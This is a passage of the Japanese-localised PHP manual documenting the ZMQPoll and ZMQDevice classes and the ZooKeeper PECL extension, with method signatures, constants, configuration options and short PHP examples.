public remove ( mixed $item ) : bool
}

目次

  • ZMQPoll::add — Add item to the poll set
  • ZMQPoll::clear — Clear the poll set
  • ZMQPoll::count — Count items in the poll set
  • ZMQPoll::getLastErrors — Get poll errors
  • ZMQPoll::poll — Poll the items
  • ZMQPoll::remove — Remove item from poll set

User Contributed Notes

There are no user contributed notes for this page.


Add item to the poll set

  • ≪ ZMQPoll
  • ZMQPoll::clear ≫
  • PHP Manual
  • ZMQPoll
  • Add item to the poll set

ZMQPoll::add

(PECL zmq >= 0.5.0)

ZMQPoll::add — Add item to the poll set

説明

public ZMQPoll::add ( mixed $entry , int $type ) : string

Adds a new item to the poll set and returns the internal id of the added item. The item can be removed from the poll set using the returned string id.

パラメータ

entry

ZMQSocket object or a PHP stream resource

type

Defines what activity the socket is polled for. See ZMQ::POLL_IN and ZMQ::POLL_OUT constants.

返り値

Returns a string id of the added item which can be later used to remove the item. Throws ZMQPollException on error.

User Contributed Notes

There are no user contributed notes for this page.


Clear the poll set

  • ≪ ZMQPoll::add
  • ZMQPoll::count ≫
  • PHP Manual
  • ZMQPoll
  • Clear the poll set

ZMQPoll::clear

(PECL zmq >= 0.5.0)

ZMQPoll::clear — Clear the poll set

説明

public ZMQPoll::clear ( ) : ZMQPoll

Clears all elements from the poll set.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the current object.

User Contributed Notes

There are no user contributed notes for this page.


Count items in the poll set

  • ≪ ZMQPoll::clear
  • ZMQPoll::getLastErrors ≫
  • PHP Manual
  • ZMQPoll
  • Count items in the poll set

ZMQPoll::count

(PECL zmq >= 0.5.0)

ZMQPoll::count — Count items in the poll set

説明

public ZMQPoll::count ( ) : int

Count the items in the poll set.

パラメータ

この関数にはパラメータはありません。

返り値

Returns an int representing the amount of items in the poll set.

User Contributed Notes

There are no user contributed notes for this page.


Get poll errors

  • ≪ ZMQPoll::count
  • ZMQPoll::poll ≫
  • PHP Manual
  • ZMQPoll
  • Get poll errors

ZMQPoll::getLastErrors

(PECL zmq >= 0.5.0)

ZMQPoll::getLastErrors — Get poll errors

説明

public ZMQPoll::getLastErrors ( ) : array

Returns the ids of the objects that had errors in the last poll.

パラメータ

この関数にはパラメータはありません。

返り値

Returns an array containing ids for the items that had errors in the last poll. Empty array is returned if there were no errors.

User Contributed Notes

There are no user contributed notes for this page.


Poll the items

  • ≪ ZMQPoll::getLastErrors
  • ZMQPoll::remove ≫
  • PHP Manual
  • ZMQPoll
  • Poll the items

ZMQPoll::poll

(PECL zmq >= 0.5.0)

ZMQPoll::poll — Poll the items

説明

public ZMQPoll::poll ( array &$readable , array &$writable , int $timeout = -1 ) : int

Polls the items in the current poll set. The readable and writable items are returned in the readable and writable parameters. ZMQPoll::getLastErrors() can be used to check if there were errors.

パラメータ

readable

Array where readable ZMQSockets/PHP streams are returned. The array will be cleared at the beginning of the operation.

writable

Array where writable ZMQSockets/PHP streams are returned. The array will be cleared at the beginning of the operation.

timeout

Timeout for the operation. -1 means that poll waits until at least one item has activity. Please note that starting from version 1.0.0 the poll timeout is defined in milliseconds, rather than microseconds.

例

例1 A ZMQPoll() example

Create a simple poll server

<?php

/* Create socket, request-reply pattern (reply socket) */
$context = new ZMQContext();
$server  = $context->getSocket(ZMQ::SOCKET_REP);

/* Bind to port 5555 on 127.0.0.1 */
$server->bind("tcp://127.0.0.1:5555");

/* Create new pollset for incoming/outgoing message */
$poll = new ZMQPoll();

/* Add the object and listen for poll in/out */
$id = $poll->add($server, ZMQ::POLL_IN | ZMQ::POLL_OUT);
echo "Added object with id " . $id . "\n";

/* Initialise readable and writable arrays */
$readable = array();
$writable = array();

while (true) {
   /* Amount of events retrieved */
   $events = 0;

   try {
       /* Poll until there is something to do */
       $events = $poll->poll($readable, $writable, -1);
       $errors = $poll->getLastErrors();

       if (count($errors) > 0) {
           foreach ($errors as $error) {
               echo "Error polling object " . $error . "\n";
           }
       }
   } catch (ZMQPollException $e) {
       echo "poll failed: " . $e->getMessage() . "\n";
   }

   if ($events > 0) {
       /* Loop through readable objects and recv messages */
       foreach ($readable as $r) {
           try {
               echo "Received message: " . $r->recv() . "\n";
           } catch (ZMQException $e) {
               echo "recv failed: " . $e->getMessage() . "\n";
           }
       }

       /* Loop through writable and send back messages */
       foreach ($writable as $w) {
           try {
               $w->send("Got it!");
           } catch (ZMQException $e) {
               echo "send failed: " . $e->getMessage() . "\n";
           }
       }
   }
}
?>

返り値

Returns an integer representing amount of items with activity. Throws ZMQPollException on error.

User Contributed Notes

There are no user contributed notes for this page.


Remove item from poll set

  • ≪ ZMQPoll::poll
  • ZMQDevice ≫
  • PHP Manual
  • ZMQPoll
  • Remove item from poll set

ZMQPoll::remove

(PECL zmq >= 0.5.0)

ZMQPoll::remove — Remove item from poll set

説明

public ZMQPoll::remove ( mixed $item ) : bool

Remove item from the poll set. The item parameter can be ZMQSocket object, a stream resource or the id returned from ZMQPoll::add() method.

パラメータ

item

The ZMQSocket object, PHP stream or string id of the item.

返り値

Returns true if the item was removed and false if the object with given id does not exist in the poll set.

User Contributed Notes

There are no user contributed notes for this page.


The ZMQDevice class

(PECL zmq >= 0.5.0)

はじめに

クラス概要

ZMQDevice {
/* Methods */
public __construct ( ZMQSocket $frontend , ZMQSocket $backend , ZMQSocket $listener = ? )
public getIdleTimeout ( ) : ZMQDevice
public getTimerTimeout ( ) : ZMQDevice
public run ( ) : void
public setIdleCallback ( callable $cb_func , int $timeout , mixed $user_data = ? ) : ZMQDevice
public setIdleTimeout ( int $timeout ) : ZMQDevice
public setTimerCallback ( callable $cb_func , int $timeout , mixed $user_data = ? ) : ZMQDevice
public setTimerTimeout ( int $timeout ) : ZMQDevice
}

目次

  • ZMQDevice::__construct — Construct a new device
  • ZMQDevice::getIdleTimeout — Get the idle timeout
  • ZMQDevice::getTimerTimeout — Get the timer timeout
  • ZMQDevice::run — Run the new device
  • ZMQDevice::setIdleCallback — Set the idle callback function
  • ZMQDevice::setIdleTimeout — Set the idle timeout
  • ZMQDevice::setTimerCallback — Set the timer callback function
  • ZMQDevice::setTimerTimeout — Set the timer timeout

User Contributed Notes

There are no user contributed notes for this page.


Construct a new device

  • ≪ ZMQDevice
  • ZMQDevice::getIdleTimeout ≫
  • PHP Manual
  • ZMQDevice
  • Construct a new device

ZMQDevice::__construct

(PECL zmq >= 0.5.0)

ZMQDevice::__construct — Construct a new device

説明

public ZMQDevice::__construct ( ZMQSocket $frontend , ZMQSocket $backend , ZMQSocket $listener = ? )

"OMQ devices can do intermediation of addresses, services, queues, or any other abstraction you care to define above the message and socket layers." -- zguide

パラメータ

frontend

Frontend parameter for the devices. Usually where there messages are coming.

backend

Backend parameter for the devices. Usually where there messages going to.

listener

Listener socket, which receives a copy of all messages going both directions. The type of this socket should be SUB, PULL or DEALER.

返り値

Call to this method will prepare the device. Usually devices are very long running processes so running this method from interactive script is not recommended. This method throw ZMQDeviceException if the device cannot be started.

User Contributed Notes

There are no user contributed notes for this page.


Get the idle timeout

  • ≪ ZMQDevice::__construct
  • ZMQDevice::getTimerTimeout ≫
  • PHP Manual
  • ZMQDevice
  • Get the idle timeout

ZMQDevice::getIdleTimeout

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

ZMQDevice::getIdleTimeout — Get the idle timeout

説明

public ZMQDevice::getIdleTimeout ( ) : ZMQDevice

Gets the idle callback timeout value. Added in ZMQ extension version 1.1.0.

返り値

This method returns the idle callback timeout value.

User Contributed Notes

There are no user contributed notes for this page.


Get the timer timeout

  • ≪ ZMQDevice::getIdleTimeout
  • ZMQDevice::run ≫
  • PHP Manual
  • ZMQDevice
  • Get the timer timeout

ZMQDevice::getTimerTimeout

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

ZMQDevice::getTimerTimeout — Get the timer timeout

説明

public ZMQDevice::getTimerTimeout ( ) : ZMQDevice

Gets the timer callback timeout value. Added in ZMQ extension version 1.1.0.

返り値

This method returns the timer timeout value.

User Contributed Notes

There are no user contributed notes for this page.


Run the new device

  • ≪ ZMQDevice::getTimerTimeout
  • ZMQDevice::setIdleCallback ≫
  • PHP Manual
  • ZMQDevice
  • Run the new device

ZMQDevice::run

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

ZMQDevice::run — Run the new device

説明

public ZMQDevice::run ( ) : void

Runs the device.

パラメータ

この関数にはパラメータはありません。

返り値

Call to this method will block until the device is running. It is not recommended that devices are used from interactive scripts. On failure this method will throw ZMQDeviceException.

User Contributed Notes

There are no user contributed notes for this page.


Set the idle callback function

  • ≪ ZMQDevice::run
  • ZMQDevice::setIdleTimeout ≫
  • PHP Manual
  • ZMQDevice
  • Set the idle callback function

ZMQDevice::setIdleCallback

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

ZMQDevice::setIdleCallback — Set the idle callback function

説明

public ZMQDevice::setIdleCallback ( callable $cb_func , int $timeout , mixed $user_data = ? ) : ZMQDevice

Sets the idle callback function. If idle timeout is defined the idle callback function shall be called if the internal poll loop times out without events. If the callback function returns false or a value that evaluates to false the device is stopped. The callback function signature is callback (mixed $user_data).

パラメータ

cb_func

Callback function to invoke when the device is idle. Returning false or a value that evaluates to false from this function will cause the device to stop.

timeout

How often to invoke the idle callback in milliseconds. The idle callback is invoked periodically when there is no activity on the device. The timeout value guarantees that there is at least this amount of milliseconds between invocations of the callback function.

user_data

Additional data to pass to the callback function.

返り値

On success this method returns the current object.

User Contributed Notes

There are no user contributed notes for this page.


Set the idle timeout

  • ≪ ZMQDevice::setIdleCallback
  • ZMQDevice::setTimerCallback ≫
  • PHP Manual
  • ZMQDevice
  • Set the idle timeout

ZMQDevice::setIdleTimeout

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

ZMQDevice::setIdleTimeout — Set the idle timeout

説明

public ZMQDevice::setIdleTimeout ( int $timeout ) : ZMQDevice

Sets the idle callback timeout value. The idle callback is invoked periodically when the device is idle.

パラメータ

timeout

The idle callback timeout value.

返り値

On success this method returns the current object.

User Contributed Notes

There are no user contributed notes for this page.


Set the timer callback function

  • ≪ ZMQDevice::setIdleTimeout
  • ZMQDevice::setTimerTimeout ≫
  • PHP Manual
  • ZMQDevice
  • Set the timer callback function

ZMQDevice::setTimerCallback

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

ZMQDevice::setTimerCallback — Set the timer callback function

説明

public ZMQDevice::setTimerCallback ( callable $cb_func , int $timeout , mixed $user_data = ? ) : ZMQDevice

Sets the timer callback function. The timer callback will be invoked after timeout has passed. The difference between idle and timer callbacks are that idle callback is invoked only when the device is idle. The callback function signature is callback (mixed $user_data). Added in ZMQ extension version 1.1.0.

パラメータ

cb_func

Callback function to invoke when the device is idle. Returning false or a value that evaluates to false from this function will cause the device to stop.

timeout

How often to invoke the idle callback in milliseconds. The idle callback is invoked periodically when there is no activity on the device. The timeout value guarantees that there is at least this amount of milliseconds between invocations of the callback function.

user_data

Additional data to pass to the callback function.

返り値

On success this method returns the current object.

User Contributed Notes

There are no user contributed notes for this page.


Set the timer timeout

  • ≪ ZMQDevice::setTimerCallback
  • ZooKeeper ≫
  • PHP Manual
  • ZMQDevice
  • Set the timer timeout

ZMQDevice::setTimerTimeout

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

ZMQDevice::setTimerTimeout — Set the timer timeout

説明

public ZMQDevice::setTimerTimeout ( int $timeout ) : ZMQDevice

Sets the timer callback timeout value. The timer callback is invoked periodically if it's set. Added in ZMQ extension version 1.1.0.

パラメータ

timeout

The timer callback timeout value.

返り値

On success this method returns the current object.

User Contributed Notes

There are no user contributed notes for this page.


ZooKeeper

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • ZooKeeper 関数
    • zookeeper_dispatch — Calls callbacks for pending operations
  • Zookeeper — The Zookeeper class
    • Zookeeper::addAuth — Specify application credentials
    • Zookeeper::close — Close the zookeeper handle and free up any resources
    • Zookeeper::connect — Create a handle to used communicate with zookeeper
    • Zookeeper::__construct — Create a handle to used communicate with zookeeper
    • Zookeeper::create — Create a node synchronously
    • Zookeeper::delete — Delete a node in zookeeper synchronously
    • Zookeeper::exists — Checks the existence of a node in zookeeper synchronously
    • Zookeeper::get — Gets the data associated with a node synchronously
    • Zookeeper::getAcl — Gets the acl associated with a node synchronously
    • Zookeeper::getChildren — Lists the children of a node synchronously
    • Zookeeper::getClientId — Return the client session id, only valid if the connections is currently connected (ie. last watcher state is ZOO_CONNECTED_STATE)
    • Zookeeper::getConfig — Get instance of ZookeeperConfig
    • Zookeeper::getRecvTimeout — Return the timeout for this session, only valid if the connections is currently connected (ie. last watcher state is ZOO_CONNECTED_STATE). This value may change after a server re-connect
    • Zookeeper::getState — Get the state of the zookeeper connection
    • Zookeeper::isRecoverable — Checks if the current zookeeper connection state can be recovered
    • Zookeeper::set — Sets the data associated with a node
    • Zookeeper::setAcl — Sets the acl associated with a node synchronously
    • Zookeeper::setDebugLevel — Sets the debugging level for the library
    • Zookeeper::setDeterministicConnOrder — Enable/disable quorum endpoint order randomization
    • Zookeeper::setLogStream — Sets the stream to be used by the library for logging
    • Zookeeper::setWatcher — Set a watcher function
  • ZookeeperConfig — The ZookeeperConfig class
    • ZookeeperConfig::add — Add servers to the ensemble
    • ZookeeperConfig::get — Gets the last committed configuration of the ZooKeeper cluster as it is known to the server to which the client is connected, synchronously
    • ZookeeperConfig::remove — Remove servers from the ensemble
    • ZookeeperConfig::set — Change ZK cluster ensemble membership and roles of ensemble peers
  • ZookeeperException — The ZookeeperException class
  • ZookeeperAuthenticationException — The ZookeeperAuthenticationException class
  • ZookeeperConnectionException — The ZookeeperConnectionException class
  • ZookeeperMarshallingException — The ZookeeperMarshallingException class
  • ZookeeperNoNodeException — The ZookeeperNoNodeException class
  • ZookeeperOperationTimeoutException — The ZookeeperOperationTimeoutException class
  • ZookeeperSessionException — The ZookeeperSessionException class

User Contributed Notes

There are no user contributed notes for this page.


はじめに

This extension uses libzookeeper library to provide API for communicating with ZooKeeper service.

ZooKeeper is an Apache project that enables centralized service for maintaining configuration information, naming, providing distributed synchronization, and providing group services.

User Contributed Notes

There are no user contributed notes for this page.


要件

This extension requires » ZooKeeper C Binding (version 3.4.1 or greater). For more information, see » ZooKeeper Programmer's Guide.

This extension requires PHP version 5.2.0 or higher. Since 0.6.0, it requires PHP version 7.0.0 or higher.

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/zookeeper.

To enable zookeeper support, configure with --with-libzookeeper-dir=DIR. DIR is the install prefix of ZooKeeper C Binding, which must contain the include/zookeeper/zookeeper.h

この PECL 拡張モジュールの DLL は、現在存在しません。 Windows でのビルド も参照ください

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

Zookeeper 設定オプション
名前 | デフォルト | 変更可能 | Changelog
zookeeper.recv_timeout | 10000 | PHP_INI_ALL |
zookeeper.session_lock | 1 | PHP_INI_SYSTEM |
zookeeper.sess_lock_wait | 150000 | PHP_INI_ALL |
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

zookeeper.recv_timeout int

Default the timeout for any ZooKeeper session.

zookeeper.session_lock int

Enable PHP session locking.

zookeeper.sess_lock_wait int

PHP Session spin lock retry wait time in microseconds. Be carefull when setting this value. Valid values are integers, where 0 is interpreted as the default value. Negative values result in a reduces locking to a try lock.

User Contributed Notes

There are no user contributed notes for this page.


ZooKeeper 関数

目次

  • zookeeper_dispatch — Calls callbacks for pending operations

User Contributed Notes

There are no user contributed notes for this page.


Calls callbacks for pending operations

  • ≪ ZooKeeper 関数
  • Zookeeper ≫
  • PHP Manual
  • ZooKeeper 関数
  • Calls callbacks for pending operations

zookeeper_dispatch

(PECL zookeeper >= 0.4.0)

zookeeper_dispatch — Calls callbacks for pending operations

説明

zookeeper_dispatch ( ) : void

The zookeeper_dispatch() function calls the callbacks passwd by operations like Zookeeper::get() or Zookeeper::exists().

警告

Since version 0.4.0, this function must be called manually to achieve asynchronous operations. If you want that to be done automatically, you also can declare ticks at the beginning of your program.

After PHP 7.1, you can ignore this function. This extension uses EG(vm_interrupt) to implement async dispatch.

エラー / 例外

This method emits PHP warning when callback could not be invoked.

例

例1 zookeeper_dispatch() example #1

Dispatch callbacks manually.

<?php
$client = new Zookeeper();
$client->connect('localhost:2181');
$client->get('/zookeeper', function() {
    echo "Callback was called".PHP_EOL;
});
while(true) {
    sleep(1);
    zookeeper_dispatch();
}
?>

例2 zookeeper_dispatch() example #2

Declare ticks.

<?php
declare(ticks=1);

$client = new Zookeeper();
$client->connect('localhost:2181');
$client->get('/zookeeper', function() {
    echo "Callback was called".PHP_EOL;
});
while(true) {
    sleep(1);
}
?>

参考

  • Zookeeper::addAuth() - Specify application credentials
  • Zookeeper::connect() - Create a handle to used communicate with zookeeper
  • Zookeeper::__construct() - Create a handle to used communicate with zookeeper
  • Zookeeper::exists() - Checks the existence of a node in zookeeper synchronously
  • Zookeeper::get() - Gets the data associated with a node synchronously
  • Zookeeper::getChildren() - Lists the children of a node synchronously
  • Zookeeper::setWatcher() - Set a watcher function

User Contributed Notes

There are no user contributed notes for this page.


The Zookeeper class

(PECL zookeeper >= 0.1.0)

はじめに

Represents ZooKeeper session.

クラス概要

Zookeeper {
/* メソッド */
public __construct ( string $host = '' , callable $watcher_cb = null , int $recv_timeout = 10000 )
public addAuth ( string $scheme , string $cert , callable $completion_cb = null ) : bool
public close ( ) : void
public connect ( string $host , callable $watcher_cb = null , int $recv_timeout = 10000 ) : void
public create ( string $path , string $value , array $acls , int $flags = null ) : string
public delete ( string $path , int $version = -1 ) : bool
public exists ( string $path , callable $watcher_cb = null ) : array
public get ( string $path , callable $watcher_cb = null , array &$stat = null , int $max_size = 0 ) : string
public getAcl ( string $path ) : array
public getChildren ( string $path , callable $watcher_cb = null ) : array
public getClientId ( ) : int
public getConfig ( ) : ZookeeperConfig
public getRecvTimeout ( ) : int
public getState ( ) : int
public isRecoverable ( ) : bool
public set ( string $path , string $value , int $version = -1 , array &$stat = null ) : bool
public setAcl ( string $path , int $version , array $acl ) : bool
public static setDebugLevel ( int $logLevel ) : bool
public static setDeterministicConnOrder ( bool $yesOrNo ) : bool
public setLogStream ( resource $stream ) : bool
public setWatcher ( callable $watcher_cb ) : bool
/* 定数 */
const int PERM_READ = 1 ;
const int PERM_WRITE = 2 ;
const int PERM_CREATE = 4 ;
const int PERM_DELETE = 8 ;
const int PERM_ADMIN = 16 ;
const int PERM_ALL = 31 ;
const int EPHEMERAL = 1 ;
const int SEQUENCE = 2 ;
const int LOG_LEVEL_ERROR = 1 ;
const int LOG_LEVEL_WARN = 2 ;
const int LOG_LEVEL_INFO = 3 ;
const int LOG_LEVEL_DEBUG = 4 ;
const int EXPIRED_SESSION_STATE = -112 ;
const int AUTH_FAILED_STATE = -113 ;
const int CONNECTING_STATE = 1 ;
const int ASSOCIATING_STATE = 2 ;
const int CONNECTED_STATE = 3 ;
const int READONLY_STATE = 5 ;
const int NOTCONNECTED_STATE = 999 ;
const int CREATED_EVENT = 1 ;
const int DELETED_EVENT = 2 ;
const int CHANGED_EVENT = 3 ;
const int CHILD_EVENT = 4 ;
const int SESSION_EVENT = -1 ;
const int NOTWATCHING_EVENT = -2 ;
const int SYSTEMERROR = -1 ;
const int RUNTIMEINCONSISTENCY = -2 ;
const int DATAINCONSISTENCY = -3 ;
const int CONNECTIONLOSS = -4 ;
const int MARSHALLINGERROR = -5 ;
const int UNIMPLEMENTED = -6 ;
const int OPERATIONTIMEOUT = -7 ;
const int BADARGUMENTS = -8 ;
const int INVALIDSTATE = -9 ;
const int NEWCONFIGNOQUORUM = -13 ;
const int RECONFIGINPROGRESS = -14 ;
const int OK = 0 ;
const int APIERROR = -100 ;
const int NONODE = -101 ;
const int NOAUTH = -102 ;
const int BADVERSION = -103 ;
const int NOCHILDRENFOREPHEMERALS = -108 ;
const int NODEEXISTS = -110 ;
const int NOTEMPTY = -111 ;
const int SESSIONEXPIRED = -112 ;
const int INVALIDCALLBACK = -113 ;
const int INVALIDACL = -114 ;
const int AUTHFAILED = -115 ;
const int CLOSING = -116 ;
const int NOTHING = -117 ;
const int SESSIONMOVED = -118 ;
const int NOTREADONLY = -119 ;
const int EPHEMERALONLOCALSESSION = -120 ;
const int NOWATCHER = -121 ;
const int RECONFIGDISABLED = -122 ;
}

定義済み定数

ZooKeeper Permissions

Zookeeper::PERM_READ

Can read nodes value and list its children

Zookeeper::PERM_WRITE

Can set the nodes value

Zookeeper::PERM_CREATE

Can create children

Zookeeper::PERM_DELETE

Can delete children

Zookeeper::PERM_ADMIN

Can execute set_acl()

Zookeeper::PERM_ALL

All of the above flags ORd together

ZooKeeper Create Flags

Zookeeper::EPHEMERAL

If Zookeeper::EPHEMERAL flag is set, the node will automatically get removed if the client session goes away.

Zookeeper::SEQUENCE

If the Zookeeper::SEQUENCE flag is set, a unique monotonically increasing sequence number is appended to the path name. The sequence number is always fixed length of 10 digits, 0 padded.

ZooKeeper Log Levels

Zookeeper::LOG_LEVEL_ERROR

Outputs only error mesages

Zookeeper::LOG_LEVEL_WARN

Outputs errors/warnings

Zookeeper::LOG_LEVEL_INFO

Outputs big action messages besides errors/warnings

Zookeeper::LOG_LEVEL_DEBUG

Outputs all

ZooKeeper States

Zookeeper::EXPIRED_SESSION_STATE

Connected but session expired

Zookeeper::AUTH_FAILED_STATE

Connected but auth failed

Zookeeper::CONNECTING_STATE

Connecting

Zookeeper::ASSOCIATING_STATE

Associating

Zookeeper::CONNECTED_STATE

Connected

Zookeeper::READONLY_STATE

TODO: help us improve this extension.

Zookeeper::NOTCONNECTED_STATE

Connection failed

ZooKeeper Watch Types

Zookeeper::CREATED_EVENT

A node has been created

This is only generated by watches on non-existent nodes. These watches are set using Zookeeper::exists.

Zookeeper::DELETED_EVENT

A node has been deleted

This is only generated by watches on nodes. These watches are set using Zookeeper::exists and Zookeeper::get.

Zookeeper::CHANGED_EVENT

A node has changed

This is only generated by watches on nodes. These watches are set using Zookeeper::exists and Zookeeper::get.

Zookeeper::CHILD_EVENT

A change as occurred in the list of children

This is only generated by watches on the child list of a node. These watches are set using Zookeeper::getChildren.

Zookeeper::SESSION_EVENT

A session has been lost

This is generated when a client loses contact or reconnects with a server.

Zookeeper::NOTWATCHING_EVENT

A watch has been removed

This is generated when the server for some reason, probably a resource constraint, will no longer watch a node for a client.

ZooKeeper System and Server-side Errors

Zookeeper::SYSTEMERROR

This is never thrown by the server, it shouldn't be used other than to indicate a range. Specifically error codes greater than this value, but lesser than Zookeeper::APIERROR, are system errors.

Zookeeper::RUNTIMEINCONSISTENCY

A runtime inconsistency was found.

Zookeeper::DATAINCONSISTENCY

A data inconsistency was found.

Zookeeper::CONNECTIONLOSS

Connection to the server has been lost.

Zookeeper::MARSHALLINGERROR

Error while marshalling or unmarshalling data.

Zookeeper::UNIMPLEMENTED

Operation is unimplemented.

Zookeeper::OPERATIONTIMEOUT

Operation timeout.

Zookeeper::BADARGUMENTS

Invalid arguments.

Zookeeper::INVALIDSTATE

Invliad zhandle state.

Zookeeper::NEWCONFIGNOQUORUM

No quorum of new config is connected and up-to-date with the leader of last committed config - try invoking reconfiguration after new servers are connected and synced.

Available as of ZooKeeper 3.5.0

Zookeeper::RECONFIGINPROGRESS

Reconfiguration requested while another reconfiguration is currently in progress. This is currently not supported. Please retry.

Available as of ZooKeeper 3.5.0

ZooKeeper API Errors

Zookeeper::OK

Everything is OK.

Zookeeper::APIERROR

This is never thrown by the server, it shouldn't be used other than to indicate a range. Specifically error codes greater than this value are API errors (while values less than this indicate a Zookeeper::SYSTEMERROR).

Zookeeper::NONODE

Node does not exist.

Zookeeper::NOAUTH

Not authenticated.

Zookeeper::BADVERSION

Version conflict.

Zookeeper::NOCHILDRENFOREPHEMERALS

Ephemeral nodes may not have children.

Zookeeper::NODEEXISTS

The node already exists.

Zookeeper::NOTEMPTY

The node has children.

Zookeeper::SESSIONEXPIRED

The session has been expired by the server.

Zookeeper::INVALIDCALLBACK

Invalid callback specified.

Zookeeper::INVALIDACL

Invalid ACL specified.

Zookeeper::AUTHFAILED

Client authentication failed.

Zookeeper::CLOSING

ZooKeeper is closing.

Zookeeper::NOTHING

(not error) No server responses to process.

Zookeeper::SESSIONMOVED

Session moved to another server, so operation is ignored.

Zookeeper::NOTREADONLY

State-changing request is passed to read-only server.

Zookeeper::EPHEMERALONLOCALSESSION

Attempt to create ephemeral node on a local session.

Zookeeper::NOWATCHER

The watcher couldn't be found.

Zookeeper::RECONFIGDISABLED

Attempts to perform a reconfiguration operation when reconfiguration feature is disabled.

目次

  • Zookeeper::addAuth — Specify application credentials
  • Zookeeper::close — Close the zookeeper handle and free up any resources
  • Zookeeper::connect — Create a handle to used communicate with zookeeper
  • Zookeeper::__construct — Create a handle to used communicate with zookeeper
  • Zookeeper::create — Create a node synchronously
  • Zookeeper::delete — Delete a node in zookeeper synchronously
  • Zookeeper::exists — Checks the existence of a node in zookeeper synchronously
  • Zookeeper::get — Gets the data associated with a node synchronously
  • Zookeeper::getAcl — Gets the acl associated with a node synchronously
  • Zookeeper::getChildren — Lists the children of a node synchronously
  • Zookeeper::getClientId — Return the client session id, only valid if the connections is currently connected (ie. last watcher state is ZOO_CONNECTED_STATE)
  • Zookeeper::getConfig — Get instance of ZookeeperConfig
  • Zookeeper::getRecvTimeout — Return the timeout for this session, only valid if the connections is currently connected (ie. last watcher state is ZOO_CONNECTED_STATE). This value may change after a server re-connect
  • Zookeeper::getState — Get the state of the zookeeper connection
  • Zookeeper::isRecoverable — Checks if the current zookeeper connection state can be recovered
  • Zookeeper::set — Sets the data associated with a node
  • Zookeeper::setAcl — Sets the acl associated with a node synchronously
  • Zookeeper::setDebugLevel — Sets the debugging level for the library
  • Zookeeper::setDeterministicConnOrder — Enable/disable quorum endpoint order randomization
  • Zookeeper::setLogStream — Sets the stream to be used by the library for logging
  • Zookeeper::setWatcher — Set a watcher function

User Contributed Notes

There are no user contributed notes for this page.


Specify application credentials

  • ≪ Zookeeper
  • Zookeeper::close ≫
  • PHP Manual
  • Zookeeper
  • Specify application credentials

Zookeeper::addAuth

(PECL zookeeper >= 0.1.0)

Zookeeper::addAuth — Specify application credentials

説明

public Zookeeper::addAuth ( string $scheme , string $cert , callable $completion_cb = null ) : bool

The application calls this function to specify its credentials for purposes of authentication. The server will use the security provider specified by the scheme parameter to authenticate the client connection. If the authentication request has failed: - the server connection is dropped. - the watcher is called with the ZOO_AUTH_FAILED_STATE value as the state parameter.

パラメータ

scheme

The id of authentication scheme. Natively supported: "digest" password-based authentication

cert

Application credentials. The actual value depends on the scheme.

completion_cb

The routine to invoke when the request completes. One of the following result codes may be passed into the completion callback: - ZOK operation completed successfully - ZAUTHFAILED authentication failed

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

This method emits PHP error/warning when parameters count or types are wrong or operation fails.

警告

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

例

例1 Zookeeper::addAuth() example

Add auth before requesting node value.

<?php
$zookeeper = new Zookeeper('locahost:2181');
$path = '/path/to/node';
$value = 'nodevalue';
$zookeeper->set($path, $value);

$zookeeper->addAuth('digest', 'user0:passwd0');
$r = $zookeeper->get($path);
if ($r)
  echo $r;
else
  echo 'ERR';
?>

上の例の出力は以下となります。

nodevalue

参考

  • Zookeeper::create() - Create a node synchronously
  • Zookeeper::setAcl() - Sets the acl associated with a node synchronously
  • Zookeeper::getAcl() - Gets the acl associated with a node synchronously
  • ZooKeeper States
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Close the zookeeper handle and free up any resources

  • ≪ Zookeeper::addAuth
  • Zookeeper::connect ≫
  • PHP Manual
  • Zookeeper
  • Close the zookeeper handle and free up any resources

Zookeeper::close

(PECL zookeeper >= 0.5.0)

Zookeeper::close — Close the zookeeper handle and free up any resources

説明

public Zookeeper::close ( ) : void

エラー / 例外

This method emits ZookeeperException and it's derivatives when closing an uninitialized instance.

参考

  • Zookeeper::__construct() - Create a handle to used communicate with zookeeper
  • Zookeeper::connect() - Create a handle to used communicate with zookeeper
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Create a handle to used communicate with zookeeper

  • ≪ Zookeeper::close
  • Zookeeper::__construct ≫
  • PHP Manual
  • Zookeeper
  • Create a handle to used communicate with zookeeper

Zookeeper::connect

(PECL zookeeper >= 0.2.0)

Zookeeper::connect — Create a handle to used communicate with zookeeper

説明

public Zookeeper::connect ( string $host , callable $watcher_cb = null , int $recv_timeout = 10000 ) : void

This method creates a new handle and a zookeeper session that corresponds to that handle. Session establishment is asynchronous, meaning that the session should not be considered established until (and unless) an event of state ZOO_CONNECTED_STATE is received.

パラメータ

host

Comma separated host:port pairs, each corresponding to a zk server. e.g. "127.0.0.1:3000,127.0.0.1:3001,127.0.0.1:3002"

watcher_cb

The global watcher callback function. When notifications are triggered this function will be invoked.

recv_timeout

The timeout for this session, only valid if the connections is currently connected (ie. last watcher state is ZOO_CONNECTED_STATE).

エラー / 例外

This method emits PHP error/warning when parameters count or types are wrong or could not init instance.

警告

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

参考

  • Zookeeper::__construct() - Create a handle to used communicate with zookeeper
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Create a handle to used communicate with zookeeper

  • ≪ Zookeeper::connect
  • Zookeeper::create ≫
  • PHP Manual
  • Zookeeper
